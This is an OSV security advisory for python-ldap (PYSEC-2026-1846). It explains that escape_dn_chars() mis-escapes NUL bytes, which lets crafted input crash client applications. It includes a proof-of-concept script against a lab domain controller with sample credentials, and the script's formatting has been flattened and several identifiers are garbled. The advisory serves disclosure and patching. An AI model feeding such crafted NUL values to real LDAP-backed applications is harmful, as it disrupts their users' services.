PYSEC-2026-1846

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/python-ldap/PYSEC-2026-1846.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-1846
Aliases
Published
2026-07-07T16:03:07.472350Z
Modified
2026-07-07T17:47:51.792721896Z
Severity
  • 5.5 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination
Details

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior: For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

```import ldap from ldap.dn import escapednchars, str2dn

l = ldap.initialize("ldap://10.0.1.11") # your lab DC/LDAP l.protocolversion = 3 l.setoption(ldap.OPTREFERRALS, 0) l.simplebind_s(r"DSEC\dani.aga", "PassAa1")

--- Attacker-controlled value contains NUL ---

cn = "bad\0name" escapedcn = escapednchars(cn) dn = f"CN={escapedcn},OU=Users,DC=dsec,DC=local" attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===") print("escapedcn repr:", repr(escapedcn)) print("dn repr:", repr(dn)) print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> adds(buggy DN): expected client-side failure (no server contact)") try: l.adds(dn, attrs) print("adds(buggy): succeeded (unexpected)") except Exception as e: print("adds(buggy):", type(e).name, e) # ValueError: embedded null character

--- Correct hex escape demonstrates the client proceeds to the server ---

safedn = dn.replace("\x00", r"\00") # RFC 4514-compliant print("\n=== HEX-ESCAPED DN (\00) ===") print("safedn repr:", repr(safedn)) print("=> sanity parse:", str2dn(safedn)) # parses locally

print("=> adds(safe DN): reaches server (AD will likely reject with 34)") try: l.adds(safedn, attrs) print("adds(safe): success (unlikely without required attrs/rights)") except ldap.LDAPError as e: print("add_s(safe):", e.class.name, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN) ```

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escapednchars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

References

Affected packages

PyPI / python-ldap

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.4.5

Affected versions

2.*
2.3.13
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.6
2.4.7
2.4.8
2.4.9
2.4.10
2.4.12
2.4.13
2.4.14
2.4.15
2.4.16
2.4.17
2.4.18
2.4.19
2.4.20
2.4.21
2.4.22
2.4.25
2.4.26
2.4.27
2.4.28
2.4.29
2.4.30
2.4.31
2.4.32
2.4.33
2.4.35
2.4.36
2.4.37
2.4.38
2.4.39
2.4.40
2.4.41
2.4.42
2.4.43
2.4.44
2.4.45
2.5.1
2.5.2
3.*
3.0.0b1
3.0.0b2
3.0.0b3
3.0.0b4
3.0.0
3.1.0
3.2.0
3.3.0
3.3.1
3.4.0
3.4.2
3.4.3
3.4.4

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/python-ldap/PYSEC-2026-1846.yaml"